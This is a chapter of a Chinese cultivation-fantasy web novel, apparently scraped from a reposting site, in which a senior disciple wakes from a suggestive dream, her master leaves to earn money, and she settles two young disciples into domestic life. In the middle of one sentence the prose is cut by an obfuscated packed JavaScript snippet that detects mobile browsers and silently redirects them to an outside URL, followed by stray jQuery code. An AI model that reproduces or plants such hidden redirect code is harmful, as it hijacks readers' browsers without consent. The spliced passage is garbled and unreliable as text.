35. 云雨
作品:《我与佛子的纯爱话本传遍修真界》 “师姐,醒醒,师尊说再不醒就让少爷……师兄将你泼醒。”
温软月将熟睡的李凄清推醒,伸手摸了摸她浸染春色的侧脸。
李凄清长睫微动,从睡梦中惊醒,脸上浮着一片褪不去的潮红。
感觉到下身濡湿一片,她轻拢被子,哑声:“软月,你先出去,师姐要梳洗一番。”
她心惊不已,昨夜她做了一夜的云雨梦,现下身心俱疲,仿佛被妖怪抽干了精血。
梦中的那位男子一夜都未露出面容,在她醒来之前才慢慢显露真身。
萧郁璟……那晚究竟发生了什么事情?为什么她会一点记忆都没有,还与他在梦中做出这等逾矩之事。
她现在对萧郁璟可是没有生出半分情愫……
下次遇上他,一定要将那晚的事情问个清楚。
推开门,月临风和燕留痕已坐在桃花树下对饮,谢辞安在一旁劈柴,累的满头大汗,温软月在给灵田的果蔬和灵草浇水,就她这个师姐睡到日上三竿才起来。
福地灵气充沛,她深吸一口气,顿感神清气爽,若是能一直待在福地,过这种神仙日子好像也不错。
月临风见她出来了,放下茶盏,走过去伸手探她额头,疑惑道:“没发烧啊!方才软月还说你生病了。”
“师姐醒来的时候脸红红的,我摸了下烫的吓人,还以为师姐生病了呢……”
李凄清:“……我无碍。”
月临风舒了口气,伸出手揉了揉她的面颊,“我的爱徒无事便可。”
他跳上石桌,一本正经道:“知己,接下来我要说的乃宗门密事,本仙君暂且封住你的耳识。”
“仙君请便。”燕留痕温声。
“本仙君从知己口中得知,人间一切的衣食住行皆需金银换取,若无银两傍身,便寸步难行。”
“既已收你们为徒,为师便要为你们以后的修行之路做好打算,让你们不会因为没有银钱购买厉害的法器和仙药而陷入修炼瓶颈。”
“前些日子,为师利用仙术幻化出金银,本以为可蒙混过关,但其中因果,即便是为师,也难以承受。”
“你们的修行之路为师也不可插手过多,只可指点一二而已。所以为师决定出去搞钱,挣到足够你们三个肆意挥霍的钱财,为师才配的上你们喊一句师尊,明日,师尊就会离开福地,和知己共创一番大业。”
李凄清:“……?”
她有种不好的预感,若是师尊就此离开,她还真有可能成为两孩子的“后娘。”
月临风又道:“你们三人的身体都十分孱弱,若强行筑基,以后修为的提升将会十分缓慢,接下来的一年,你们需顺应天时,日出而作,日落而息,这里灵气充裕,一年的光阴足够你们调养好身体。”
“日出之后,你们需每日负重十斤围绕山谷行走一圈,半年后改为二十斤,午后则进入藏书楼博览群书,修身养性,一年后为师会回福地指引你们筑基。”
“师尊,藏书楼在何处?”李凄清一脸疑色。
“你们三人闭目,气沉丹田之后方可感知藏书楼的存在,你们现在都试试。”
李凄清闭目凝神,果然感知到了藏书楼的存在,那座楼望不到边际,书册有序的排列成行,乐器琳琅满目,说是世间所有藏书皆汇集在此也不为过。
她本想拿几本乐谱品鉴,神魂却被一股力量强行从藏书楼中带出。
“比起这个,师尊有更重要的事情要说。”
“你们三人皆是三灵根,修为提升缓慢,往后难有很大的突破,一年后,为师会使用秘术将你们的另外两个灵根挖去,只保留最适合你们的一脉灵根,这样你们就都是万里挑一的单灵根。这个过程犹如抽筋剥皮,浴火重生,意志不坚定之人稍有不慎就会魂飞魄散,你们要有心理准备。”
书中,倒是记载了无暇药王谷研制出了一种秘术,可将他人灵根转接给没有灵根之人,不过谷主已将这种秘术封禁,恐为有心之人利用,到时候后果不堪设想。
师尊这种祛除灵根的秘术却是闻所未闻,这种逆天改命的秘术想来也会反噬施术之人。
更何况是一下子为三人改命,实在是有违天道。
“师尊,这种秘术,就算是您恐怕也会遭到反噬……”
“无须挂心,届时为师自有化解之法,你们三人在福地静心修养即可,通往外界的结界为师会暂且封住,外界诸多纷扰也与你们隔绝,好好珍惜这段日子吧。”月临风朗声。
他将燕留痕被封住的耳识解开,“知己,将你为我徒儿们准备好的日用之物留下,咱们两就可离开此处了。”
燕留痕将一个储物袋打开,一堆物品瞬间堆成了一座小山,农具,钓鱼竿,厨具好巧不巧地砸在温软月头顶。
她一时头晕目眩,接下来是几十只鸡鸭落了下来,满地乱走,一大包裹衣物砸在温软月的头顶,她被砸的一屁股坐在地上,眼泪直流,几十条粉色肚兜洋洋洒洒地落在她头顶。
“我看不见了!少爷。”她焦急道。
谢辞安跑过去将那几条肚兜从她头顶拿走,她看到那些肚兜,双手捂面,一头扎进李凄清怀里,哇哇大哭。
李凄清哭笑不得,白了燕留痕一眼,“你故意惹哭她做什么?”
燕留痕嘿嘿一笑,耸了耸肩,“哭出来好,一直憋着可不行。”
谢辞安面无表情地将手中的肚兜塞回布袋中,闷声:“她之前很爱哭,从府里逃出来后就再也没哭过。”
李凄清心下一软,顺了下她的后背,“不哭了,软月,你现在有家了,不用再过之前那种颠沛流离的日子。”
“师姐,我是太开心了才哭的……”
月临风却在一旁哈哈大笑,“爱徒,要替师尊照顾好师弟师妹,对了,这处福地有几处禁地,对你们来说十分危险,师尊已做下标记,你们千万不能踏足那些地方。”
话毕,他和燕留痕头也不回地离开了福地。
满地的狼藉需要收拾,那些鸡鸭光是抓回鸡圈就花了他们一番功夫,待将这些日用物品都整理好,天色也黑了下来。
燕留痕不在,做饭的重任就交到了李凄清手上,她挥动手里的木铲,调笑道:“这下我真成你们晚娘了。”
谢辞安对她依旧没什么好脸色,一脸木然地继续劈柴。
温软月将炉灶里的柴火撤下了几根,抹了一把汗水,认真道:“要是师姐真是我们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200342|196072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晚娘的话,那一定是世界上最好最美的晚娘。”
“软月,明日你搬来和我一起住,你毕竟是女儿身,跟师弟住在一起不妥。”
温软月想了会,摇了摇头,“师姐,要是不和师兄住在一起我会睡不着觉的。”
“也罢。”现在他们都还小,住在一起也没什么,过几年大了些再分开住也不迟,她转头吩咐谢辞安,“师弟,去将鸡圈里的鸡蛋捡来。”
谢辞安虽对她心生不满,但也倒是听话,李凄清接过他手里的鸡蛋,轻扯了一把他的侧脸,“你就不能对师姐有个笑模样?还在为那天的事情记恨我呢?”
谢辞安眉心拧成一团,露出了一个十分诡异的笑容:“这样吗?师姐。”
“比哭还难看,对了,辞安,你喜欢吃鸡蛋羹还是炒鸡蛋?”
“都行。”谢辞安不冷不热地回应。
“师姐,他喜欢炒鸡蛋,他说那样配米饭吃最香!”温软月接话。
“那我们软月呢?”
“我喜欢吃鸡蛋羹。”
李凄清一拍手,当即下了决定。
“那我们今晚吃师弟爱吃的炒鸡蛋,明日再做软月爱吃的鸡蛋羹。”
温软月圆溜溜的眼睛一亮,抬手高呼:“好耶,那我去灵田里摘些蒜苗,师姐呢?喜欢怎么吃鸡蛋?”
“水煮吧。”李凄清随意道。
温软月闻言,用力点了点头,随后屁颠屁颠地去了灵田。
李凄清看着她娇小的背影忍不住笑意,她偏头问谢辞安:“你也觉得我们师妹很可爱吧?”
谢辞安眸色一沉,母亲往日也时常这般问他。
只是,再也听不到母亲的声音了。
“又怎么了……”李凄清莫名其妙,不知是哪句话又惹得他这般落寞。
她的厨艺不错,两个孩子都吃了两大碗米饭才放下筷子,她很满意,这就是养孩子的乐趣吗?
待他们都泡完澡,李凄清看着他们两个都上床睡觉了,心里又生出了一种别样的情愫,若是没有穿过来,她的一双孪生弟妹也差不多是这个年纪。
“你们两个早点睡,明日日出之后就得起床,不许犯懒,知道了吗?”
“知道了,师姐。”温软月小声回应,伸出小手抱住了谢辞安的腰身,将小脸贴在他后背,止不住的笑。
“师弟,你呢?”
“知道了。”谢辞安闷声。
李凄清一点头,关上了门,在门口又听到温软月小声地耳语:“少爷,以后我们再也不用饿肚子了,也不会再有人追杀我们了,对吗?”
“嗯,别抱这么紧。”谢辞安温声,“听师尊的话,学好本事,再不会有人敢欺辱我们。”
他顿了下又道:“你别老对着她傻笑。”
温软月嘿嘿一笑,“师姐吗?可是我很喜欢师姐,她长的很美,还送了我木兰银簪,少爷,是因为她没有给你见面礼你才不喜欢师姐吗……”
“别胡说。”
李凄清没再听下去,回了自己的房间,闭上眼睛回忆起了书中关于福地的记载。
这处福地本是墨玉机缘巧合之下寻得,待时机成熟,得找个机会把福地中的机缘一并夺去!

